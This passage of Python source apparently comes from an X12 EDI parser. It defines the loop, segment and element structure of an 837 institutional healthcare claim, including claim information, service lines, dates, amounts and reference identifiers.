u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS18', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=18, codes=[] ) ), Element( u'CAS19', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=19, codes=[] ) ), ), Segment( u'DTP', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'550',desc=u'Service Adjudication Date'), Element( u'DTP01', Properties(desc=u'Date/Time Qualifier', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'573'] ) ), Element( u'DTP02', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'DTP03', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), ), ) parsed_837_2400 = Loop( u'2400', Properties(looptype='',repeat=u'999',pos=u'365',req_sit=u'R',desc=u'Service Line Number'), Segment( u'LX', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'365',desc=u'Service Line Number'), Element( u'LX01', Properties(desc=u'Assigned Number', req_sit=u'R', data_type=(u'N0',u'1',u'6'), position=1, codes=[] ) ), ), Segment( u'SV2', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'375',desc=u'Institutional Service Line'), Element( u'SV201', Properties(desc=u'Product/Service ID', req_sit=u'R', data_type=(u'AN',u'1',u'48'), position=1, codes=[] ) ), Composite( u'C003', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Service Line Procedure Code'), Element( u'SV202-01', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=0, codes=[u'HC', u'IV', u'N4', u'ZZ'] ) ), Element( u'SV202-02', Properties(desc=u'Product/Service ID', req_sit=u'R', data_type=(u'AN',u'1',u'48'), position=1, codes=[] ) ), Element( u'SV202-03', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=2, codes=[] ) ), Element( u'SV202-04', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=3, codes=[] ) ), Element( u'SV202-05', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=4, codes=[] ) ), Element( u'SV202-06', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=5, codes=[] ) ), Element( u'SV202-07', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=6, codes=[] ) ), ), Element( u'SV203', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=3, codes=[] ) ), Element( u'SV204', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=4, codes=[u'DA', u'F2', u'UN'] ) ), Element( u'SV205', Properties(desc=u'Quantity', req_sit=u'R', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'SV206', Properties(desc=u'Unit Rate', req_sit=u'S', data_type=(u'R',u'1',u'10'), position=6, codes=[] ) ), Element( u'SV207', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=7, codes=[] ) ), Element( u'SV208', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=8, codes=[] ) ), Element( u'SV209', Properties(desc=u'Nursing Home Residential Status Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=9, codes=[] ) ), Element( u'SV210', Properties(desc=u'Level of Care Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=10, codes=[] ) ), ), Segment( u'PWK', Properties(syntax='',req_sit=u'S',repeat=u'5',pos=u'420',desc=u'Line Supplemental Information'), Element( u'PWK01', Properties(desc=u'Report Type Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'AS', u'B2', u'B3', u'B4', u'CT', u'DA', u'DG', u'DS', u'EB', u'MT', u'NN', u'OB', u'OZ', u'PN', u'PO', u'PZ', u'RB', u'RR', u'RT'] ) ), Element( u'PWK02', Properties(desc=u'Report Transmission Code', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=2, codes=[u'AA', u'AB', u'AD', u'AF', u'AG', u'BM', u'EL', u'EM', u'FX'] ) ), Element( u'PWK03', Properties(desc=u'Report Copies Needed', req_sit=u'N', data_type=(u'N0',u'1',u'2'), position=3, codes=[] ) ), Element( u'PWK04', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'PWK05', Properties(desc=u'Identification Code Qualifier', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=5, codes=[u'AC'] ) ), Element( u'PWK06', Properties(desc=u'Identification Code', req_sit=u'S', data_type=(u'AN',u'2',u'80'), position=6, codes=[] ) ), Element( u'PWK07', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=7, codes=[] ) ), Composite( u'C002', Properties(req_sit=u'N',refdes='',seq=u'08',desc=u'Actions Indicated'), ), Element( u'PWK09', Properties(desc=u'Request Category Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=9, codes=[] ) ), ), Segment( u'DTP', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'455',desc=u'Service Line Date'), Element( u'DTP01', Properties(desc=u'Date/Time Qualifier', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'472'] ) ), Element( u'DTP02', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8', u'RD8'] ) ), Element( u'DTP03', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), ), Segment( u'DTP', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'455',desc=u'Assessment Date'), Element( u'DTP01', Properties(desc=u'Date/Time Qualifier', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'866'] ) ), Element( u'DTP02', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'DTP03', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'475',desc=u'Service Tax Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'GT'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'475',desc=u'Facility Tax Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'N8'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'HCP', Properties(syntax=u'R0113 P0910 P1112',req_sit=u'S',repeat=u'1',pos=u'492',desc=u'Line Pricing/Repricing Information'), Element( u'HCP01', Properties(desc=u'Pricing Methodology', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'00', u'01', u'02', u'03', u'04', u'05', u'06', u'07', u'08', u'09', u'10', u'11', u'12', u'13', u'14'] ) ), Element( u'HCP02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'HCP03', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=3, codes=[] ) ), Element( u'HCP04', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=4, codes=[] ) ), Element( u'HCP05', Properties(desc=u'Rate', req_sit=u'S', data_type=(u'R',u'1',u'9'), position=5, codes=[] ) ), Element( u'HCP06', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=6, codes=[] ) ), Element( u'HCP07', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=7, codes=[] ) ), Element( u'HCP08', Properties(desc=u'Product/Service ID', req_sit=u'S', data_type=(u'AN',u'1',u'48'), position=8, codes=[] ) ), Element( u'HCP09', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=9, codes=[u'HC'] ) ), Element( u'HCP10', Properties(desc=u'Product/Service ID', req_sit=u'S', data_type=(u'AN',u'1',u'48'), position=10, codes=[] ) ), Element( u'HCP11', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=11, codes=[u'DA', u'UN'] ) ), Element( u'HCP12', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=12, codes=[] ) ), Element( u'HCP13', Properties(desc=u'Reject Reason Code', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=13, codes=[u'T1', u'T2', u'T3', u'T4', u'T5', u'T6'] ) ), Element( u'HCP14', Properties(desc=u'Policy Compliance Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=14, codes=[u'1', u'2', u'3', u'4', u'5'] ) ), Element( u'HCP15', Properties(desc=u'Exception Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=15, codes=[u'1', u'2', u'3', u'4', u'5', u'6'] ) ), ), parsed_837_2410, parsed_837_2420A, parsed_837_2420B, parsed_837_2420C, parsed_837_2430, ) parsed_837_2300 = Loop( u'2300', Properties(looptype='',repeat=u'100',pos=u'130',req_sit=u'R',desc=u'Claim Information'), Segment( u'CLM', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'130',desc=u'Claim Information'), Element( u'CLM01', Properties(desc=u"Claim Submitter's Identifier", req_sit=u'R', data_type=(u'AN',u'1',u'38'), position=1, codes=[] ) ), Element( u'CLM02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'CLM03', Properties(desc=u'Claim Filing Indicator Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=3, codes=[] ) ), Element( u'CLM04', Properties(desc=u'Non-Institutional Claim Type Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=4, codes=[] ) ), Composite( u'C023', Properties(req_sit=u'R',refdes='',seq=u'05',desc=u'Type of Bill'), Element( u'CLM05-01', Properties(desc=u'Facility Code Value', req_sit=u'R', data_type=(u'AN',u'1',u'2'), position=0, codes=[] ) ), Element( u'CLM05-02', Properties(desc=u'Facility Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=1, codes=[u'A'] ) ), Element( u'CLM05-03', Properties(desc=u'Claim Frequency Type Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'0', u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'A', u'B', u'C', u'D', u'E', u'F', u'G', u'H', u'I', u'J', u'K', u'L', u'M', u'N', u'O', u'X', u'Y', u'Z '] ) ), ), Element( u'CLM06', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=6, codes=[u'N', u'Y'] ) ), Element( u'CLM07', Properties(desc=u'Provider Accept Assignment Code', req_sit=u'S', data_type=(u'ID',u'1',u'1'), position=7, codes=[u'A', u'C'] ) ), Element( u'CLM08', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=8, codes=[u'N', u'Y'] ) ), Element( u'CLM09', Properties(desc=u'Release of Information Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=9, codes=[u'A', u'I', u'M', u'N', u'O', u'Y'] ) ), Element( u'CLM10', Properties(desc=u'Patient Signature Source Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=10, codes=[] ) ), Composite( u'C024', Properties(req_sit=u'N',refdes='',seq=u'11',desc=u'Property and Casualty Related Causes Codes'), ), Element( u'CLM12', Properties(desc=u'Special Program Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=12, codes=[u'01', u'02', u'03', u'05', u'07', u'08', u'09'] ) ), Element( u'CLM13', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=13, codes=[] ) ), Element( u'CLM14', Properties(desc=u'Level of Service Code', req_sit=u'N', data_type=(u'ID',u'1',u'3'), position=14, codes=[] ) ), Element( u'CLM15', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=15, codes=[] ) ), Element( u'CLM16', Properties(desc=u'Provider Agreement Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=16, codes=[] ) ), Element( u'CLM17', Properties(desc=u'Claim Status Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=17, codes=[] ) ), Element( u'CLM18', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=18, codes=[u'N', u'Y'] ) ), Element( u'CLM19', Properties(desc=u'Claim Submission Reason Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=19, codes=[] ) ), Element( u'CLM20', Properties(desc=u'Delay Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=20, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11'] ) ), ), Segment( u'DTP', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'135',desc=u'Discharge Hour'), Element( u'DTP01', Properties(desc=u'Date/Time Qualifier', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'096'] ) ), Element( u'DTP02', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'TM'] ) ), Element( u'DTP03', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), ), Segment( u'DTP', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'135',desc=u'Statement Dates'), Element( u'DTP01', Properties(desc=u'Date/Time Qualifier', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'434'] ) ), Element( u'DTP02', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8', u'RD8'] ) ), Element( u'DTP03', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), ), Segment( u'DTP', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'135',desc=u'Admission Date/Hour'), Element( u'DTP01', Properties(desc=u'Date/Time Qualifier', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'435'] ) ), Element( u'DTP02', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'DT'] ) ), Element( u'DTP03', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), ), Segment( u'CL1', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'140',desc=u'Institutional Claim Code'), Element( u'CL101', Properties(desc=u'Admission Type Code', req_sit=u'S', data_type=(u'ID',u'1',u'1'), position=1, codes=[] ) ), Element( u'CL102', Properties(desc=u'Admission Source Code', req_sit=u'S', data_type=(u'ID',u'1',u'1'), position=2, codes=[] ) ), Element( u'CL103', Properties(desc=u'Patient Status Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=3, codes=[] ) ), Element( u'CL104', Properties(desc=u'Nursing Home Residential Status Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=4, codes=[] ) ), ), Segment( u'PWK', Properties(syntax='',req_sit=u'S',repeat=u'10',pos=u'155',desc=u'Claim Supplemental Information'), Element( u'PWK01', Properties(desc=u'Report Type Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'AS', u'B2', u'B3', u'B4', u'CT', u'DA', u'DG', u'DS', u'EB', u'MT', u'NN', u'OB', u'OZ', u'PN', u'PO', u'PZ', u'RB', u'RR', u'RT'] ) ), Element( u'PWK02', Properties(desc=u'Report Transmission Code', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=2, codes=[u'AA', u'BM', u'EL', u'EM', u'FX'] ) ), Element( u'PWK03', Properties(desc=u'Report Copies Needed', req_sit=u'N', data_type=(u'N0',u'1',u'2'), position=3, codes=[] ) ), Element( u'PWK04', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'PWK05', Properties(desc=u'Identification Code Qualifier', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=5, codes=[u'AC'] ) ), Element( u'PWK06', Properties(desc=u'Identification Code', req_sit=u'S', data_type=(u'AN',u'2',u'80'), position=6, codes=[] ) ), Element( u'PWK07', Properties(desc=u'Description', req_sit=u'S', data_type=(u'AN',u'1',u'80'), position=7, codes=[] ) ), Composite( u'C002', Properties(req_sit=u'N',refdes='',seq=u'08',desc=u'Actions Indicated'), ), Element( u'PWK09', Properties(desc=u'Request Category Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=9, codes=[] ) ), ), Segment( u'CN1', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'160',desc=u'Contract Information'), Element( u'CN101', Properties(desc=u'Contract Type Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'01', u'02', u'03', u'04', u'05', u'06', u'09'] ) ), Element( u'CN102', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'CN103', Properties(desc=u'Percent, Decimal Format', req_sit=u'S', data_type=(u'R',u'1',u'6'), position=3, codes=[] ) ), Element( u'CN104', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=4, codes=[] ) ), Element( u'CN105', Properties(desc=u'Terms Discount Percent', req_sit=u'S', data_type=(u'R',u'1',u'6'), position=5, codes=[] ) ), Element( u'CN106', Properties(desc=u'Version Identifier', req_sit=u'S', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'175',desc=u'Payer Estimated Amount Due'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'C5'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'175',desc=u'Patient Estimated Amount Due'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'F3'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'175',desc=u'Patient Paid Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'F5'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'175',desc=u'Credit/Debit Card Maximum Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'MA'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Adjusted Repriced Claim Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'9C'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Repriced Claim Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'9A'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Claim Identification Number For Clearinghouses and Other Transmission Intermediaries'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'D9'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'180',desc=u'Document Identification Code'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'DD'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Original Reference Number (ICN/DCN)'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'F8'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Investigational Device Exemption Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'LX'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Service Authorization Exception Code'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'4N'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7'] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Peer Review Organization (PRO) Approval Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'G4'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'180',desc=u'Prior Authorization or Referral Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'9F', u'G1'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Medical Record Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'EA'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Demonstration Project Identifier'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'P4'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'K3', Properties(syntax='',req_sit=u'S',repeat=u'10',pos=u'185',desc=u'File Information'), Element( u'K301', Properties(desc=u'Fixed Format Information', req_sit=u'R', 